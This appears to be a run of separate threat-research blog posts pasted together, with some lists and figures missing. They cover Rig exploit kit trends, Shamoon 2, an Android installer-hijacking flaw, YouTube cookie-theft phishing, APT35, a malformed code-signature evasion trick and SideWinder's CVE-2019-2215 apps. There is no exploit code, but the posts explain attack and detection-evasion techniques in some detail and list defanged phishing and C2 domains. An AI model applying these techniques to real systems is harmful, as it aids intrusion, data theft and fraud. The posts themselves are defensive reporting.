Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


What a difference a year makes in the threat environment.


In January 2017, Rig Exploit Kit (EK) was still in the middle of a strong run.


But when April 2017 came, Rig started a very marked decline.


You can see this in the chart below: Figure 1: Hits for Rig EK from January 2017 through January 2018  We first noted the trend in our June 2017 research blog “Decline in Rig Exploit Kit”.


And now in our most recent research blog “Rig EK one year later: From Ransomware to Coin Miners and Information Stealers” we can see the decline in April wasn’t an anomaly: it was the start of a precipitous decline that may mark the fall of Rig EK and exploit kits altogether as you can see.


As with the rise and fall of other threat trends, there are many likely reasons for this.


As Unit 42 researcher Brad Duncan noted in June 2017 and January 2018, likely reasons for the decline of Rig EK include a declining browser target base, lack of new exploits, efforts to fight domain shadowing, criminal arrests, and on-going work by vendors to harden browsers.


But the decline and (hopeful) fall of Rig and other exploit kits isn’t the only story here.


The sudden rise of coinmining in response to the surging value of cryptocurrencies comes into this story as well.


This is because while Rig is down (and declining) it’s not totally out yet.


And we’re seeing what remains of Rig EK shift nearly wholesale from ransomware to information stealers and coinminers.


The shift to information stealers isn’t new: in many ways this is “back to the future” for Rig and EKs generally: they were in use before the surge in ransomware starting in 2013 and distributed information stealers and banking trojans in those early days.


But the adoption of coinmining is a new thing for Rig and EKs.


Given the trends we’ve seen generally with the sudden surge in coinmining tactics and techniques it’s not surprising.


As shown below, the volume of coinmining increase nearly 2,800% in a year.


Figure 2: Coin miner samples in January 2017 versus January 2018.


The criminals behind Rig and other EKs have always been focused on maximizing the financial return on their investment in using their wares.


And so, we can look at this shift away from ransomware back to information stealers and ahead to coinmining as a possible sign that the era of ransomware is passing at last.


We can’t say why this shift is happening.


It could be there is a shift from ransomware due to a declining return on investment because people no longer willing to pay ransom in the wake of WannaCry/ WanaCrypt0r, and Petya/NotPetya.


Or there could be a network effect at work and attackers are focusing on coinmining and away from ransomware because others are doing the same.


Whatever the reasons, though, the latest trends in a declining Rig EK give us a possible indicator of the overall future threat landscape.


That ransomware is finally on its way out, and that coinmining is taking its mantle as the primary focus for cybercriminals, and thus the threat we should all give primary focus for our prevention efforts.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


This post is also available in:      日本語 (Japanese)  As part of Palo Alto Networks Unit 42’s ongoing monitoring of the Shamoon 2 situation, we have updated information since our last posting Threat Brief: Second Wave of Shamoon 2 Attacks Reveal Possible New Tactic.


Since that Threat Brief, our Unit 42 researchers have become aware of another wave of Shamoon 2 attacks.


This third wave was set to wipe systems using the Disttrack malware on January 23, 2017.


Aside from that difference, this latest wave of Shamoon 2 attacks appears to be the same as wave 1, which wiped systems on November 17, 2016, and wave 2, which wiped systems on November 29, 2016.


The wave 3 samples our Unit 42 researchers have analyzed are similar to the other two waves in terms of the attack vectors, payloads and actions taken: there is no new intelligence to share on those.


This latest threat intelligence suggests that Shamoon 2 attacks are an ongoing situation and that additional waves of attack are possible in the future.


Organizations that are concerned about this situation and believe it poses risks to them should perform a risk assessment that considers the following possible actions in response:


In addition, organizations should review their backup strategies and disaster recovery/business continuity plans.  Our Unit 42 research team continues to follow the situation closely and we will provide updates as appropriate.


This post is also available in:      日本語 (Japanese)  We discovered a widespread vulnerability in Google’s Android OS we are calling “Android Installer Hijacking,” estimated to impact 49.5 percent of all current Android users.


In detail:  In January 2014, we uncovered a Time-of-Check to Time-of-Use (TOCTTOU) vulnerability in Android OS that permits an attacker to hijack the ordinary Android APK installation process.


This hijacking technique can be used to bypass the user view and distribute malware with arbitrary permissions.


It can substitute one application with another, for instance if a user tries to install a legitimate version of “Angry Birds” and ends up with a Flashlight app that’s running malware.


We are calling the technique that exploits this vulnerability Android Installer Hijacking.


We have been cooperating with Google and major manufacturers such as Samsung and Amazon to patch affected Android devices.


In order to understand how this works, let’s first take a look at how Android installs apps.


Android supports the ability to install apps from the Google Play store as well as from the local file system.


Google Play downloads Android packages (APKs) to a protected space of the file system.


Third party app stores and mobile advertisement libraries usually download APK files to unprotected local storage (e.g. /sdcard/) and install the APK files directly.


Both methods use a system application called PackageInstaller to complete the installation.


On affected platforms, we discovered that the PackageInstaller has a “Time of Check” to “Time of Use” vulnerability.


In layman’s terms, that simply means that the APK file can be modified or replaced during installation without the user’s knowledge.


The Installer Hijacking vulnerability affects APK files downloaded to unprotected local storage only because the protected space of Play Store app cannot be accessed by other installed apps.


Let’s take a closer look at what happens.


On Android, there are many ways to trigger the app installation process, for example, when the user clicks a downloaded APK file, or when the user downloads an app from a third party app store app, or when the user clicks on an app promotion advertisement hosted by a mobile advertisement library.


No matter which way an APK installation process is triggered, it always follows the same procedure:  First, the system service PackageInstaller starts the installation process by parsing the APK file and retrieves critical information about the app, such as the app name, app icon and the security permissions that the app requests.


This is presented to the user in a PackageInstallerActivity view on the screen, as seen below Fig 1:  Fig 1.


User reviews the detail information of app to be installed (i.e. “Time to Check”)


This is the “Time to Check”, because it verifies that the user really wants to install the app, and tells the user what permissions that they are authorizing the app to perform.


All Android apps perform this step, and the user clicks “Next” to view the full list of permissions, and then clicks “Install” to continue the installation process (as in Fig 1).  A vulnerability exists in this process because while the user is reviewing this information, the attacker can modify or replace the package in the background.


Verified with Android OS source code posted in AOSP, it shows that the PackageInstaller on affected versions does not verify the APK file at the “Time of Use”.


Thus, in the “Time of Use” (i.e., after clicking the “Install” button), the PackageInstaller can actually install a different app with an entirely different set of permissions.


This vulnerability can be exploited in multiple ways:  Method A: Externally modifying the APK  The attacker can use a benign-looking app to install malware in the future.


This method has several stages:


One tricky question with Method A would be how the App X detects that the PackageInstallerActivity view has been launched.


There are two approaches here:


Method B: Self modifying the APK  This exploit can take advantage of the same vulnerability to mask what permissions the app really requires.  This vulnerability affects Android device users as well as Android app developers.  For Android device users, the users may end up with installing apps that are not the ones they agree to install.  Android app developers are also affected, because app-store apps and mobile ads libraries that do not rely on Google Play store would be likely to save the promoted apps in unprotected storage, e.g. /sdcard.


Like the example we show with Amazon appstore app, the unprotected storage in /sdcard may allow attackers to replace the promoted apps with malware apps.


We have successfully tested both exploits against Android 2.3, 4.0.3-4.0.4, 4.1.X, and 4.2.x.


According to Android Dashboard, this vulnerability affected approximately 89.4 percent of the Android population as of January 2014 (when we first discovered it), and approximately 49.5 percent of the Android population as of March 2015.


These exploits do not require the device to be rooted, but rooted devices are more vulnerable.


Be aware that some phone vendors’ Android 4.3 distributions may contain this vulnerability as well.


According to source code posted on the AOSP website, Android 4.3_r0.9 introduced a hash check of the Android manifest that is verified between “Time to Check” and “Time to Use”.


However, we have found that there are some phone vendors’ Android 4.3 distributions that do not include this check.


For instance, we have successfully tested this exploit on Samsung Galaxy S4 Android phones running Android 4.3 (Build version JSS15J.I337UCUEMK2, Built on Nov. 16, 2013), and Amazon Fire OS version 13.3.2.5.


Both Samsung and Amazon have released fixed on their affected devices after receiving our vulnerability reports.


We encourage all Android device vendors to verify the existence of this vulnerability on their devices including those with Android 4.3.


Android version 4.4 and later versions have fixed this vulnerability.


Palo Alto Networks has published a vulnerability scanner app in the Google Play store.


Also, we have recorded a tutorial video about how to check the existence of installer hijacking vulnerability with our vulnerability scanner app, available here.


To facilitate security researchers and other vendors, we have also open sourced the vulnerability scanner app on Github at https://github.com/PaloAltoNetworks-BD/InstallerHijackingVulnerabilityScanner.


Enterprises concerned about the risk should take the following steps:  App developers concerned about the risk should save the downloaded APK files to protected storage space only.


From Google:  “Android Open Source Project includes patches for this issue for Android 4.3 and later.


The patch is available for review here:  https://android.googlesource.com/platform/packages/apps/PackageInstaller/+/2b3202c3ff18469b294629bf1416118f12492173  The Android Security Team has not detected any attempts to exploit this vulnerability on user devices.”


From Amazon:  "Customers should move to the latest version of the Amazon AppStore which gets updated automatically on Fire devices and for 3rd party Android devices it can be updated via www.amazon.com/getappstore."


We would like to thank Ryan Olson, Huagang Xie, Claud Xiao, Colt Blackmore, and Taylor Ettema from Palo Alto Networks for their great help in verifying the vulnerability and communicating with vendors.


We also greatly appreciate the help from Scott Simkin, JL Watkins, Baoyue Hu, and Erik Jacobsen from Palo Alto Networks in publishing the discovery and building the scanner app.


We appreciate the cooperation with Samsung Knox team, Google Android Security team, and Amazon Web Services & Lab126 for working with us on verifying and patching this vulnerability.


Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!  Please mark, I'm not a robot!


By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.


Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.


Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.


The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.


In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.


We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.


With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).


Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.


In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.


Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.


While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.


Many YouTube creators provide an email address on their channel for business opportunities.


In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.


The phishing typically started with a customized email introducing the company and its products.


Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.


Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.


The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.


To date, we’ve identified at least 1,011 domains created solely for this purpose.


Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.


During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”


In one case, we observed a fake social media page copying content from an existing software company.


The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.


Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.


Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.


Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.


This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.


We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.


Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.


Open source malware like Sorano and AdamantiumThief were also observed.


Related hashes are listed in the Technical Details section, at the end of this report.


Most of the observed malware was capable of stealing both user passwords and cookies.


Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.


A few were observed displaying a fake error message requiring user click-through to continue execution.


A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.


The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.


The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.


On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.


These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work: This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.


We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.


Some of these improvements include: It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.


Our recommendations: Additional resources: Avoid & Report Phishing Emails.


Related Malware hashes: Top Phishing Domains:


Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.


We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.


So far in 2021, we’ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.


This spike is largely due to blocking an unusually large campaign from a Russian actor known as APT28 or Fancy Bear.


We intentionally send these warnings in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track our defense strategies.


On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.


This means that there is typically more than one threat actor behind the warnings.


In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.


This is the one of the groups we disrupted during the 2020 US election cycle for its targeting of campaign staffers.


For years, this group has hijacked accounts, deployed malware, and used novel techniques to conduct espionage aligned with the interests of the Iranian government.


In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.


Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.


Users were instructed to activate an invitation to a (fake) webinar by logging in.


The phishing kit will also ask for second-factor authentication codes sent to devices.


APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.


Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.


In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.


The app was disguised as VPN software that, if installed, could steal sensitive information such as call logs, text messages, contacts, and location data from devices.


Google detected the app quickly and removed it from the Play Store before any users had a chance to install it.


Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.


One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.


Attackers used the Munich Security and the Think-20 (T20) Italy conferences as lures in non-malicious first contact email messages to get users to respond.


When they did, attackers sent them phishing links in follow-on correspondence.


Targets typically had to navigate through at least one redirect before landing on a phishing domain.


Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.


We’ve disrupted attacks using Google Drive, App Scripts, and Sites pages in these campaigns as APT35 tries to get around our defenses.


Services from Dropbox and Microsoft are also abused.


One of APT35’s novel techniques involves using Telegram for operator notifications.


The attackers embed javascript into phishing pages that notify them when the page has been loaded.


To send the notification, they use the Telegram API sendMessage function, which lets anyone use a Telegram bot to send a message to a public channel.


The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.


We reported the bot to Telegram and they have taken action to remove it.


We warn users when we suspect a government-backed threat like APT35 is targeting them.


Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.


If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.


Workspace administrators are also notified regarding targeted accounts in their domain.


Users are encouraged to take these warnings seriously and consider enrolling in the Advanced Protection Program or enabling two-factor authentication if they haven't already.


We also block malicious domains using Google Safe Browsing – a service that Google's security team built to identify unsafe websites across the web and notify users and website owners of potential harm.


When a user of a Safe Browsing-enabled browser or app attempts to access unsafe content on the web, they’ll see a warning page explaining that the content they’re trying to access may be harmful.


When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.


Threat Analysis Group will continue to identify bad actors and share relevant information with others in the industry, with the goal of bringing awareness to these issues, protecting you and fighting bad actors to prevent future attacks.


Indicators from APT28 phishing campaign: service-reset-password-moderate-digital.rf[.]gd reset-service-identity-mail.42web[.]io digital-email-software.great-site[.]net  Indicators from APT35 campaigns:  Abused Google Properties: https://sites.google[.]com/view/ty85yt8tg8-download-rtih4ithr/ https://sites.google[.]com/view/user-id-568245/ https://sites.google[.]com/view/hhbejfdwdhwuhscbsb-xscvhdvbc/  Abused Dropbox Properties: https://www.dropbox[.]com/s/68y4vpfu8pc3imf/Iraq&Jewish.pdf


Phishing Domains: nco2[.]live summit-files[.]com filetransfer[.]club continuetogo[.]me accessverification[.]online customers-verification-identifier[.]site service-activity-session[.]online identifier-service-review[.]site recovery-activity-identification[.]site review-session-confirmation[.]site recovery-service-activity[.]site verify-service-activity[.]site service-manager-notifications[.]info


Android App: https://www.virustotal.com/gui/file/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5/detection  Android App C2: communication-shield[.]site cdsa[.]xyz


Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.


Understanding the techniques used by attackers helps us counter these threats effectively.


This blog post is intended to highlight a new evasion technique we identified, which is currently being used by a financially motivated threat actor to avoid detection.


Attackers often rely on varying behaviors between different systems to gain access.


For instance, attacker’s may bypass filtering by convincing a mail gateway that a document is benign so the computer treats it as an executable program.


In the case of the attack outlined below, we see that attackers created malformed code signatures that are treated as valid by Windows but are not able to be decoded or checked by OpenSSL code — which is used in a number of security scanning products.


We believe this is a technique the attacker is using to evade detection rules.


Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.


Attackers who are able to obscure their identity in signatures without affecting the integrity of the signature can avoid detection longer and extend the lifetime of their code-signing certificates to infect more systems.


OpenSUpdater, a known family of unwanted software which violates our policies and is harmful to the user experience, is used to download and install other suspicious programs.


The actor behind OpenSUpdater tries to infect as many users as possible and while they do not have specific targeting, most targets appear to be within the United States and prone to downloading game cracks and grey-area software.


Groups of OpenSUpdater samples are often signed with the same code-signing certificate, obtained from a legitimate certificate authority.


Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.


In these new samples, the signature was edited such that an End of Content (EOC) marker replaced a NULL tag for the 'parameters' element of the SignatureAlgorithm signing the leaf X.509 certificate.


EOC markers terminate indefinite-length encodings, but in this case an EOC is used within a definite-length encoding (l= 13).


Bytes: 30 0D 06 09 2A 86 48 86  F7 0D 01 01 0B 00 00


Decodes to the following elements: SEQUENCE (2 elem) OBJECT IDENTIFIER 1.2.840.113549.1.1.11 sha256WithRSAEncryption (PKCS #1) EOC  Security products using OpenSSL to extract signature information will reject this encoding as invalid.


However, to a parser that permits these encodings, the digital signature of the binary will otherwise appear legitimate and valid.


This is the first time TAG has observed actors using this technique to evade detection while preserving a valid digital signature on PE files.


As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.


This issue has been reported to Microsoft.


Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.


The following are samples using this evasion: https://www.virustotal.com/gui/file/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f/detection New variant: https://www.virustotal.com/gui/file/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db/detection


Our team is working in collaboration with Google Safe Browsing to protect users from downloading and executing this family of unwanted software.


Users are encouraged to only download and install software from reputable and trustworthy sources.


Updated January 8, 2020 5PM EST with a video showing the exploit of  CVE-2019-2215.


We found three malicious apps in the Google Play Store that work together to compromise a victim’s device and collect user information.


One of these apps, called Camero, exploits CVE-2019-2215, a vulnerability that exists in Binder (the main Inter-Process Communication system in Android).


This is the first known active attack in the wild that uses the use-after-free vulnerability.


Interestingly, upon further investigation we also found that the three apps are likely to be part of the SideWinder threat actor group’s arsenal.


SideWinder, a group that has been active since 2012, is a known threat and has reportedly targeted military entities’ Windows machines.


The three malicious apps were disguised as photography and file manager tools.


We speculate that these apps have been active since March 2019 based on the certificate information on one of the apps.


The apps have since been removed from Google Play.


Figure 1. The three apps related to SideWinder group  Figure 2.


Certificate information of one of the apps Installation SideWinder installs the payload app in two stages.


It first downloads a DEX file (an Android file format) from its command and control (C&C) server.


We found that the group employs Apps Conversion Tracking to configure the C&C server address.


The address was encoded by Base64 then set to referrer parameter in the URL used in the distribution of the malware.


Figure 3.


Parsed C&C Server address


After this step, the downloaded DEX file downloads an APK file and installs it after exploiting the device or employing accessibility.


All of this is done without user awareness or intervention.


To evade detection, it uses many techniques such as obfuscation, data encryption, and invoking dynamic code.


The apps Camero and FileCrypt Manger act as droppers.


After downloading the extra DEX file from the C&C server, the second-layer droppers invoke extra code to download, install, and launch the callCam app on the device.


Figure 4. Two-stage payload deployment  Figure 5. Code showing how the dropper invokes extra DEX code To deploy the payload app callCam on the device without the user’s awareness


, SideWinder does the following:  1. Device Rooting  This approach is done by the dropper app Camero and only works on Google Pixel (Pixel 2, Pixel 2 XL), Nokia 3 (TA-1032), LG V20 (LG-H990), Oppo F9 (CPH1881), and Redmi 6A devices.


The malware retrieves a specific exploit from the C&C server depending on the DEX downloaded by the dropper.


Figure 6.


Code snippet from Extra DEX downloaded by Camero


We were able to download five exploits from the C&C server during our investigation.


They use the vulnerabilities CVE-2019-2215 and MediaTek-SU to get root privilege.


Figure 7. CVE-2019-2215 exploit  Figure 8.


MediaTek-SU exploit


After acquiring root privilege, the malware installs the app callCam, enables its accessibility permission, and then launches it.  Figure 9.


Commands


install app, launch app, and enable accessibility


2. Device Rooting  This approach is used by the dropper app FileCrypt Manager and works on most typical Android phones above Android 1.6.


After its launch, the app asks the user to enable accessibility.


Figure 10. Steps FileCrypt Manager prompts user to do


Once granted, the app shows a full screen window that says that it requires further setup steps.


In reality, that is just an overlay screen that is displayed on top of all activity windows on the device.


The overlay window sets its attributions to FLAG_NOT_FOCUSABLE and FLAG_NOT_TOUCHABLE, allowing the activity windows to detect and receive the users’ touch events through the overlay screen.  Figure 11.


Overlay screen


Meanwhile, the app invokes code from the extra DEX file to enable the installation of unknown apps and the installation of the payload app callCam.


It also enables the payload app’s accessibility permission, and then launches the payload app.


All of this happens behind the overlay screen, unbeknownst to the user.


And, all these steps are performed by employing Accessibility.


Figure 12. Code enabling install of unknown apps and new APK  Figure 13.


Code enable accessibility permission of the newly installed app


The video below demonstrates payload deployment via CVE-2019-2215 on Pixel 2:


&amp;amp;amp;amp;nbsp;   callCam’s Activities


The app callCam hides its icon on the device after being launched.


It collects the following information and sends it back to the C&C server in the background:  Location Battery status Files on device Installed app list Device information


Sensor information Camera information Screenshot Account Wifi information


Data of WeChat, Outlook, Twitter, Yahoo Mail, Facebook, Gmail, and Chrome  The app encrypts all stolen data using RSA and AES encryption algorithms.


It uses SHA256 to verify data integrity and customize the encoding routine.


When encrypting, it creates a block of data we named headData.


This block contains the first 9 bytes of origin data, origin data length, random AES IV, the RSA-encrypted AES encrypt key, and the SHA256 value of AES-encrypted origin data.


Then the headData is encoded through the customized routine.


After the encoding, it is stored in the head of the final encrypted file followed by the data of the AES-encrypted original data.


Figure 14.


Data encryption process  Figure 15.


Customized encoding routine done Relation to SideWinder


These apps may be attributed to SideWinder as the C&C servers it uses are suspected to be part of SideWinder’s infrastructure.


In addition, a URL linking to one of the apps’ Google Play pages is also found on one of the C&C servers.


Figure 16.


Google Play URL of FileManager app found in one of the C&C servers.


Trend Micro Solutions Trend Micro solutions such as the Trend Micro™ Mobile Security for Android™ can detect these malicious apps.


End users can also benefit from its multilayered security capabilities that secure the device owner’s data and privacy and safeguard them from ransomware, fraudulent websites, and identity theft.


For organizations, the Trend Micro Mobile Security for Enterprise suite provides device, compliance, and application management, data protection, and configuration provisioning.


It also protects devices from attacks that exploit vulnerabilities, prevents unauthorized access to apps, and detects and blocks malware and fraudulent websites.


Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerabilities.     Indicators of Compromise    SHA256 Package Name/File type App Name/Detection Name ec4d6bf06dd3f94f4555d75c6daaf540dee15b18d62cc004e774e996c703cb34 DEX AndroidOS_SWinderSpy.HRXA a60fc4e5328dc75dad238d46a2867ef7207b8c6fb73e8bd001b323b16f02ba00 DEX AndroidOS_SWinderSpy.HRXA


ELF AndroidOS_MtkSu.A 441d98dff3919ed24af7699be658d06ae8dfd6a12e4129a385754e6218bc24fa ELF AndroidOS_BinderExp.A ac82f7e4831907972465477eebafc5a488c6bb4d460575cd3889226c390ef8d5 ELF AndroidOS_BinderExp.A ee679afb897213a3fd09be43806a7e5263563e86ad255fd500562918205226b8 ELF AndroidOS_BinderExp.A 135cb239966835fefbb346165b140f584848c00c4b6a724ce122de7d999a3251 ELF


AndroidOS_MtkSu.A a265c32ed1ad47370d56cbd287066896d6a0c46c80a0d9573d2bb915d198ae42 com.callCam.android.callCam2base callCamm


Package Name/File type App Name/Detection Name com.abdulrauf.filemanager


FileCrypt Manager com.callCam.android.callCam2base callCamm com.camero.android.camera2basic Camero


C&C Servers  ms-ethics.net


deb-cn.net ap1-acl.net m s-db.net


aws-check.net  reawk.net  MITRE ATT&CK Matrix™         Tags  Mobile | APT & Targeted Attacks | Research


The highly anonymous and often secretive nature of the internet has led to the proliferation of scams aimed at separating people and organizations from their money.


Trend Micro has been following these scams over the years and have seen many of them evolve from simplistic schemes to more sophisticated campaigns.


One of the most dangerous scams today — one which cost organizations a combined  US$1.7 billion in exposed losses in 2019 —  is Business Email Compromise (BEC).


We have already tackled a large number of BEC-related topics.


In this article, however, we would like to raise awareness about a new modus operandi involving a very clever BEC campaign that uses social engineering to target a huge number of French companies across different industries.


Figure 1. Diagram showing how the BEC scam is carried out      Background


While investigating various BEC attacks, we found an isolated incident where malicious actors impersonated a French company in the metal fabrication industry, which provides its services to a lot of different companies.


The malicious actors behind the scam registered a domain that is very similar to the legitimate one used by the business (with the fake one having a misspelled company name) and used it to send emails to their targets.


The fraudulent domain was registered on July 27, 2020, and the perpetrators sent the fraudulent email on the same day.


The email, which was impersonating a real employee of the company, contained a request asking the targets to change the company’s banking reference to a new account with an Italian bank.


Figure 2. Screenshot of the email containing a request to change the target company’s banking reference to a new account in an Italian bank.


A rough translation of the email: “Following a banking account change, please find our new banking references (mail and Bank Identifier Code) attached, which we kindly ask you to update in your files.


Thank you for your understanding.


Please confirm the reception of this email and confirm the handling of our request (very urgent!)


The email contained two PDF file attachments.


The first one was a letter to confirm the change, as seen in the screenshot below.


Figure 3. Letter confirming the changes in the company’s bank reference.


The PDF file looks very professional and even contains the real footers and logos from the impersonated company.


Meanwhile, the second PDF file shows the banking account reference number:      Figure 4.


The PDF file showing the new banking reference account     Note that as soon as we noticed the scam, we reached out to the targeted company (who was incredibly responsive) and worked with them to prevent it from affecting their organization.


In addition, they had filed a complaint and reached out to the Italian bank to stop the fraud attempt.


Initial investigation


We found references on the company website showing that the alleged sender of the fraudulent email is an actual employee of the target company.


However, instead of working in the accounting department, as seen in the email, the person actually worked as a webmaster.


It’s possible that the fraudsters chose a random person based on the information they found prior to their scheme and decided to use it for their operation.


Interestingly enough, the fraudsters committed several mistakes:  They forgot to change the target name in the header of the email content, therefore leaking the name of another target.


A perceptive employee could potentially identify this as something unusual, which raises red flags.


We found another version of the PDF file that revealed the account being used for the bank reference change had the name of an individual and was not registered under the name of the target company.


Figure 5.


The PDF file showing the banking account reference.


However, instead of showing the target company as the owner of the account, it shows the name of a person.


We investigated the name shown on the account but did not find any useful information other than the fact that this name is used mostly in the Ivory Coast in Africa.


Delving deeper into the scam  The email address used to register the fraudulent domain  has been used to register several other domains since 2019, all of them showing similar names to legitimate French company domains, but again with slight errors here and there (for example using “techrnologies” instead of “technologies).  Domain


Creation Date  eltn[.]fr  8/23/2019  chnonopost[.]fr  9/30/2019  sfrbiz[.]fr  11/24/2019  ouflook[.]fr  12/9/2019  carre-haussrmann[.]fr  12/10/2019  4a-archifectes[.]fr  1/16/2020  harribeyconstuctions[.]fr  2/5/2020  stanvwell[.]r  5/28/2020  paretsarl[.]fr  6/17/2020  tkl-consutling[.]fr  6/29/2020  axa-etancheite[.]fr  7/1/2020  garantiesdesdepots[.]fr  7/6/2020  jacormex[.]fr  7/14/2020  harribeyconsstructions[.]fr  7/15/2020  transportcazaux[.]fr  7/17/2020  atg-techrnologies[.]fr  7/22/2020  cephii.eu  7/27/2020  efiiltec[.]fr  7/27/2020  benne-rci[.]fr  7/28/2020  soterm[.]fr  7/29/2020  phamasys[.]fr  7/31/2020  huuaume.fr  08/05/2020  larm-inox[.]fr  8/13/2020   Table 1. Domains registered using the email address The email address used did not seem to have been compromised and was probably created by the malicious actors themselves.


Table 1. Domains registered using the email address


This list also reveals that the attackers are targeting a wide swath of industries, probably in an opportunistic manner.


While we could not confirm that all of these domains have been used to commit BEC fraud, we did find at least one additional case in which the fraudsters targeted an organization that was part of the healthcare industry.


Impersonating the French tax system In many BEC schemes, the perpetrators infect the machines of their targets with malware that will allow them to read  —  and therefore gather information —  from emails.


Once the cybercriminals gain access to the mailboxes of their targets, they search for material on the people involved with the organization's finance and accounting departments.


In addition, the attackers also look for information on the company’s customers and partners.


Using this method, BEC scammers can then impersonate an employee to entice a victim to carry out their goals via social engineering.


This is BEC as we usually know it.


We found evidence that the cybercriminals involved in this case had used malware as well, but ultimately, they did not really even need it.


Instead, they used an alternative  —  and admittedly clever  —   method of hunting for their target’s financial data themselves.


With the help of the organization that the scam targeted, we were able to determine the initial approach the cybercriminals used:  they presented their emails to appear as if it was from the French tax system to gather information on their target.


A little over two weeks before the registration of the fake domain, the attackers sent the following email to the company:      Figure 6.


The initial email sent by the malicious actors, allegedly from the General Directorate of Public Finances (DGFiP) of France, concerning tax inquiries     The email contained an attached PDF file that seemed to be a letter from the French Tax service:      Figure 7.


The content of the PDF attachment sent with the email     Essentially, the PDF file contains a request from the spoofed government organization asking the target company for information on their customers, employees, and other financial data.


The text also adds to the urgency of the request by mentioning possible fines if the target organization refuses to cooperate.


